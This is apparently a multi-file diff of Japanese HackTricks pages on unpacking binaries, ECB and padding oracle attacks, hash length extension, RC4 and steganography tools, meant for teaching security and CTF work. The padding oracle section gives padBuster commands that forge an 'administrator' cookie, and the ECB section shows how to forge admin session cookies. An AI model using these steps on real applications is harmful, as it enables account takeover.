* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングテクニックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details>
# パッキングされたバイナリの特定
* **文字列の不足**: パッキングされたバイナリにはほとんど文字列が含まれていないことが一般的です
* **未使用の文字列が多い**: また、マルウェアが商用パッカーを使用している場合、相互参照がない多くの文字列が見つかることが一般的です。これらの文字列が存在しても、バイナリがパッキングされていないとは限りません。
* バイナリがどのパッカーを使用してパッキングされたかを特定しようとするために、いくつかのツールを使用することもできます:
* [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
* [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
* [Language 2000](http://farrokhi.net/language/)
# 基本的な推奨事項
* **IDAでパックされたバイナリを下から上に分析**することを**開始**します。アンパッカーは、アンパックされたコードが終了すると終了するため、アンパックされたコードに実行を渡す可能性は低いです。
* **JMP**や**CALL**、**レジスタ**や**メモリ領域**への**関数の引数とアドレス方向をプッシュし、`retn`を呼び出す**関数を検索します。なぜなら、その場合、関数の戻り値は、呼び出される前にスタックにプッシュされたアドレスを呼び出す可能性があるからです。
* `VirtualAlloc`に**ブレークポイント**を設定します。これは、プログラムがアンパックされたコードを書き込むことができるメモリ領域を割り当てるためです。関数を実行した後にEAX内の値に到達するために「ユーザーコードに実行」を実行するか、F8を使用して**そのアドレスをダンプで追跡**します。アンパックされたコードが保存される領域であるかどうかはわかりません。
* 引数として値「**40**」を持つ**`VirtualAlloc`**は、Read+Write+Execute実行が必要なコードがここにコピーされるを意味します。
* コードを**アンパック**する間に、**算術演算**や**`memcopy`**または**`Virtual`**`Alloc`のような関数への**複数の呼び出し**を見つけることが一般的です。関数が明らかに算術演算のみを実行し、おそらくいくつかの`memcopy`を実行している場合、関数の終わりを見つけてみることをお勧めしますおそらくJMPやレジスタへの呼び出し**または**少なくとも**最後の関数への呼び出し**を見つけ、その後に実行してコードが興味深くないことを確認します。
* コードをアンパックする際に、**メモリ領域が変更されるたびに**メモリ領域の変更がアンパックコードの**開始を示す可能性**があることに注意してください。Process Hackerを使用して簡単にメモリ領域をダンプできますprocess --> properties --> memory
* コードをアンパックしようとする際に、**バイナリの文字列をチェック**することで、**すでにアンパックされたコードで作業しているかどうかを知る**良い方法です(そのため、単にダンプできます)。ある時点でジャンプを実行し(おそらくメモリ領域を変更)、**追加された文字列がかなり増えた**ことに気付いた場合、**アンパックされたコードで作業している**ことがわかります。\
ただし、パッカーにすでに多くの文字列が含まれている場合は、単語「http」を含む文字列の数を確認して、この数が増加するかどうかを確認できます。
* メモリ領域から実行可能ファイルをダンプする際に、[PE-bear](https://github.com/hasherezade/pe-bear-releases/releases)を使用して一部のヘッダーを修正できます。
</details>

View file

@ -0,0 +1,79 @@
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details>
# ECB
(ECB) Electronic Code Book - **ブロックごとにクリアテキストを暗号化**する対称暗号化スキーム。これは**最も単純な**暗号化スキームです。主なアイデアは、クリアテキストを**Nビットのブロック**(入力データのブロックサイズ、暗号化アルゴリズムに依存)に**分割**し、その後、唯一の鍵を使用して各クリアテキストブロックを暗号化(復号化)することです。
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
ECBを使用すると、複数のセキュリティ上の影響があります
- 暗号化されたメッセージから**ブロックを削除**できる
- 暗号化されたメッセージから**ブロックを移動**できる
# 脆弱性の検出
アプリケーションに複数回ログインし、**常に同じクッキーを取得**すると想像してください。これは、アプリケーションのクッキーが**`<username>|<password>`**であるためです。\
次に、**同じ長いパスワード**を持つ新しいユーザーを2人生成し、**ほぼ**同じ**ユーザー名**を持つようにします。\
**両方のユーザーの情報**が同じ**8バイトのブロック**であることがわかります。その後、これが**ECBが使用されている**ためかもしれないと考えます。
次の例のように、これらの**2つのデコードされたクッキー**には、何度もブロック**`\x23U\xE45K\xCB\x21\xC8`**が含まれていることに注意してください。
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
これは、**クッキーのユーザー名とパスワードには、複数回文字 "a" が含まれていた**ためです。**異なる**ブロックは、**少なくとも1つの異なる文字**(おそらく区切り記号 "|" またはユーザー名の必要な違い)を含んでいました。
攻撃者は、今や単に、フォーマットが `<ユーザー名><区切り記号><パスワード>``<パスワード><区切り記号><ユーザー名>` かを発見する必要があります。そのために、彼は単に**類似して長いユーザー名とパスワードを持つ複数のユーザー名を生成**し、フォーマットと区切り記号の長さを見つけるまで続けます:
| ユーザー名の長さ: | パスワードの長さ: | ユーザー名+パスワードの長さ: | デコード後のクッキーの長さ: |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# 脆弱性の悪用
## ブロック全体の削除
クッキーのフォーマットを知っている場合(`<ユーザー名>|<パスワード>`)、ユーザー名 `admin` をなりすますために、`aaaaaaaaadmin` という新しいユーザーを作成し、クッキーを取得してデコードします:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
その前に作成されたユーザー名にのみ `a` が含まれているパターン `\x23U\xE45K\xCB\x21\xC8` を見ることができます。\
次に、最初の8Bブロックを削除すると、ユーザー名 `admin` 用の有効なクッキーが得られます:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## ブロックの移動
多くのデータベースでは、`WHERE username='admin';`を検索するのと`WHERE username='admin ';`を検索するのは同じです(余分なスペースに注意)。
したがって、ユーザー`admin`をなりすます別の方法は次のとおりです:
- `len(<username>) + len(<delimiter) % len(block)`となるようなユーザー名を生成します。ブロックサイズが`8B`の場合、`username `というユーザー名を生成できます。デリミターが`|`の場合、チャンク`<username><delimiter>`は8Bのブロックを2つ生成します。
- 次に、なりすましたいユーザー名とスペースを含むブロック数を正確に埋めるパスワードを生成します。例:`admin `
このユーザーのクッキーは3つのブロックで構成されます最初の2つはユーザー名+デリミターのブロックであり、3番目はユーザー名を偽装しているパスワードのブロックです`username |admin `
** その後、最初のブロックを最後のブロックで置き換えるだけで、ユーザー`admin`をなりすませることができます:`admin |username`**
# 参考文献
* [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\))

View file

@ -0,0 +1,85 @@
# エソテリック言語
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**、またはHackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
## [エソテリック言語ウィキ](https://esolangs.org/wiki/Main\_Page)
そのウィキをチェックして、さらにエソテリック言語を検索してください
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
![](<../.gitbook/assets/image (146).png>)
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
Put your heart without your soul into your heart
Give back your heart
Desire is a lovestruck ladykiller
My world is nothing
Fire is ice
Hate is water
Until my world is Desire,
Build my world up
If Midnight taking my world, Fire is nothing and Midnight taking my world, Hate is nothing
Shout "FizzBuzz!"
Take it to the top
If Midnight taking my world, Fire is nothing
Shout "Fizz!"
Take it to the top
If Midnight taking my world, Hate is nothing
Say "Buzz!"
Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
ペトゥー
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
KoKoKo Kud-Kudah
kOkOkOkO kudah kO kud-Kudah Ko Kukarek kudah
KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>

View file

@ -0,0 +1,62 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
# 攻撃の概要
あるサーバーが、既知のクリアテキストデータに**秘密を追加**してそのデータをハッシュ化していると想像してください。以下を知っている場合:
* **秘密の長さ**(これは与えられた長さ範囲からもブルートフォースできます)
* **クリアテキストデータ**
* **アルゴリズム(およびこの攻撃に脆弱)**
* **パディングが既知**
* 通常、デフォルトのものが使用されるため、他の3つの要件が満たされている場合、これも満たされます
* パディングは秘密+データの長さに応じて異なります。そのため、秘密の長さが必要です
その後、**攻撃者**は**データを追加**し、**以前のデータ+追加されたデータ**の有効な**署名**を**生成**することが可能です。
## 方法
基本的に、脆弱なアルゴリズムは、まず**データブロックをハッシュ**し、その後、**以前に**作成された**ハッシュ**(状態)から**次のデータブロックを追加**して**ハッシュ**します。
たとえば、秘密が「secret」でデータが「data」であるとします。"secretdata"のMD5は6036708eba0d11f6ef52ad44e8b74d5bです。\
攻撃者が文字列「append」を追加したい場合
* 64個の「A」のMD5を生成する
* 以前に初期化されたハッシュの状態を6036708eba0d11f6ef52ad44e8b74d5bに変更する
* 文字列「append」を追加する
* ハッシュを終了し、結果のハッシュは「secret」+「data」+「パディング」+「append」のための**有効なもの**になります
## **ツール**
{% embed url="https://github.com/iagox86/hash_extender" %}
# 参考文献
この攻撃について詳しく説明されている[https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>

View file

@ -0,0 +1,132 @@
# Padding Oracle
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## CBC - Cipher Block Chaining
CBCモードでは、**前の暗号化されたブロックが次のブロックとXOR演算**するためにIVとして使用されます
![CBC encryption](https://defuse.ca/images/cbc\_encryption.png)
CBCを復号するには、**逆の操作**が行われます:
![CBC decryption](https://defuse.ca/images/cbc\_decryption.png)
**暗号化キー**と**IV**を使用する必要があることに注意してください。
## メッセージパディング
暗号化は**固定サイズのブロック**で行われるため、通常は**最後のブロックを完了するためにパディングが必要**です。\
通常は**PKCS7**が使用され、パディングはブロックを完了するために**必要なバイト数を繰り返す**パディングが生成されます。たとえば、最後のブロックが3バイト不足している場合、パディングは`\x03\x03\x03`になります。
**長さ8バイトの2つのブロック**を持つさらなる例を見てみましょう:
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
最後の例では、**最後のブロックが完全だったため、パディングのみで別のブロックが生成**されたことに注意してください。
## パディングオラクル
アプリケーションが暗号化されたデータを復号化すると、まずデータを復号化し、その後パディングを削除します。パディングのクリーンアップ中に、**無効なパディングが検出可能な動作をトリガー**した場合、**パディングオラクルの脆弱性**があります。検出可能な動作は**エラー**、**結果の欠如**、または**応答の遅延**などが考えられます。
この動作を検出した場合、**暗号化されたデータを復号**し、さらに**任意のクリアテキストを暗号化**することができます。
### 悪用方法
この種の脆弱性を悪用するには、[https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster)を使用するか、単に行います。
```
sudo apt-get install padbuster
```
サイトのクッキーが脆弱かどうかをテストするためには、次のような方法があります:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**エンコーディング0**は、**base64**が使用されていることを意味します(他にも利用可能なものがあります。ヘルプメニューを確認してください)。
この脆弱性を悪用して新しいデータを暗号化することもできます。たとえば、クッキーの内容が "**\_**user=MyUsername**\_**" であるとします。その場合、"\_user=administrator\_" に変更してアプリケーション内で特権を昇格させることができます。`paduster`を使用して、-plaintext\*\*パラメータを指定して行うこともできます。
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生するときを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
### 理論
**要約すると**、異なるパディングを作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初に向かってバイトを復号化し始めます。
![](<../.gitbook/assets/image (629) (1) (1).png>)
暗号化されたテキストが**E0からE15**までのバイトで形成される**2つのブロック**を占めていると想像してください。\
**最後のブロック****E8**から**E15**)を**復号化**するために、ブロック全体が「ブロック暗号の復号化」を通過し、**中間バイトI0からI15**が生成されます。\
最後に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。つまり:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
* `C13 = I13 ^ E5`
* `C12 = I12 ^ E4`
* ...
今、`C15`が`0x01`になるまで`E7`を変更することが可能で、これも正しいパディングになります。したがって、この場合は:`\x01 = I15 ^ E'7`
したがって、`E'7`を見つけると、**I15を計算することが可能**です:`I15 = 0x01 ^ E'7`
これにより、**C15を計算**することが可能になります:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**を知っていると、**C14を計算**することができますが、この時はパディング`\x02\x02`をブルートフォースします。
このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算できるためです:`E''7 = \x02 ^ I15`なので、**`C14が0x02に等しい`**`E'14`を見つけるだけです。\
その後、同じ手順を実行してC14を復号化します**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**このチェーンに従って、暗号化されたテキスト全体を復号化します。**
### 脆弱性の検出
アカウントを登録し、このアカウントでログインします。\
**何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効であり、**無効にする方法はない**でしょう。
次に、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返ってくることがわかります。\
ただし、パディングをBFするとたとえばpadbusterを使用、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに対して非常に脆弱性がある可能性が高いです。
## 参考文献
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、自分のハッキングトリックを共有する
</details>

View file

@ -0,0 +1,22 @@
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
RC4を使用して平文を暗号化できる場合、暗号化関数を使用するだけで、そのRC4によって暗号化されたコンテンツを復号化できます同じパスワードを使用
既知の平文を暗号化できる場合、パスワードも抽出できます。詳細はHTB Kryptosマシンで見つけることができます
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}

View file

@ -0,0 +1,230 @@
# Stego Tricks
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## **ファイルからデータを抽出する**
### **Binwalk**
埋め込まれた隠しファイルやデータを検索するためのツール。`apt`を介してインストールされ、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)で入手できます。
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
ファイルをヘッダーとフッターに基づいて回復し、png画像に便利です。[GitHub](https://github.com/korczis/foremost)でソースを使用して`apt`を介してインストールします。
```bash
foremost -i file # Extracts data
```
### **Exiftool**
ファイルのメタデータを表示するのに役立ちます。[こちら](https://www.sno.phy.queensu.ca/\~phil/exiftool/)で入手できます。
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Exiftoolと同様、メタデータの表示に使用します。`apt`を介してインストール可能で、[GitHub](https://github.com/Exiv2/exiv2)でソースを入手でき、公式ウェブサイトは[こちら](http://www.exiv2.org/)です。
```bash
exiv2 file # Shows the metadata
```
### **ファイル**
取り扱っているファイルの種類を特定します。
### **文字列**
さまざまなエンコーディング設定を使用して、ファイルから読み取れる文字列を抽出します。
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
strings -n 6 file | tail -n 20 # Last 20 strings
strings -e s -n 6 file # 7bit strings
strings -e S -n 6 file # 8bit strings
strings -e l -n 6 file # 16bit strings (little-endian)
strings -e b -n 6 file # 16bit strings (big-endian)
strings -e L -n 6 file # 32bit strings (little-endian)
strings -e B -n 6 file # 32bit strings (big-endian)
```
### **比較cmp**
オンラインで見つかった元のバージョンと変更されたファイルを比較するのに便利です。
```bash
cmp original.jpg stego.jpg -b -l
```
## **テキスト内の隠されたデータの抽出**
### **スペース内の隠されたデータ**
見かけ上空白のスペースに不可視の文字が情報を隠しているかもしれません。このデータを抽出するには、[https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)を訪れてください。
## **画像からデータを抽出する**
### **GraphicMagickを使用して画像の詳細を特定する**
[GraphicMagick](https://imagemagick.org/script/download.php)は画像ファイルの種類を特定し、潜在的な破損を特定するために使用されます。以下のコマンドを実行して画像を検査します:
```bash
./magick identify -verbose stego.jpg
```
修復を試みるために、損傷した画像にメタデータコメントを追加すると役立つかもしれません:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **データの隠蔽にSteghideを使用**
Steghideは、`JPEG、BMP、WAV、およびAU`ファイルにデータを隠蔽することを容易にし、暗号化されたデータを埋め込んだり抽出したりすることができます。`apt`を使用して簡単にインストールでき、[GitHubでソースコードが利用可能です](https://github.com/StefanoDeVuono/steghide)。
**コマンド:**
* `steghide info file`はファイルに隠されたデータが含まれているかどうかを明らかにします。
* `steghide extract -sf file [--passphrase password]`は隠されたデータを抽出し、パスワードはオプションです。
Webベースの抽出を行う場合は、[このウェブサイト](https://futureboy.us/stegano/decinput.html)を訪れてください。
**Stegcrackerを使用したブルートフォース攻撃:**
* Steghideでパスワードクラックを試みるには、[stegcracker](https://github.com/Paradoxis/StegCracker.git)を以下のように使用します:
```bash
stegcracker <file> [<wordlist>]
```
### **PNGおよびBMPファイル用のzsteg**
zstegは、PNGおよびBMPファイル内の隠されたデータを特定することに特化しています。インストールは`gem install zsteg`を使用し、[GitHubでソースを入手](https://github.com/zed-0xff/zsteg)できます。
**コマンド:**
* `zsteg -a file`はファイルにすべての検出方法を適用します。
* `zsteg -E file`はデータ抽出用のペイロードを指定します。
### **StegoVeritasとStegsolve**
**stegoVeritas**はメタデータをチェックし、画像変換を実行し、LSBブルートフォースなどを適用します。すべてのチェックを実行するには、`stegoveritas.py stego.jpg`を使用して、オプションの完全なリストについては`stegoveritas.py -h`を使用します。
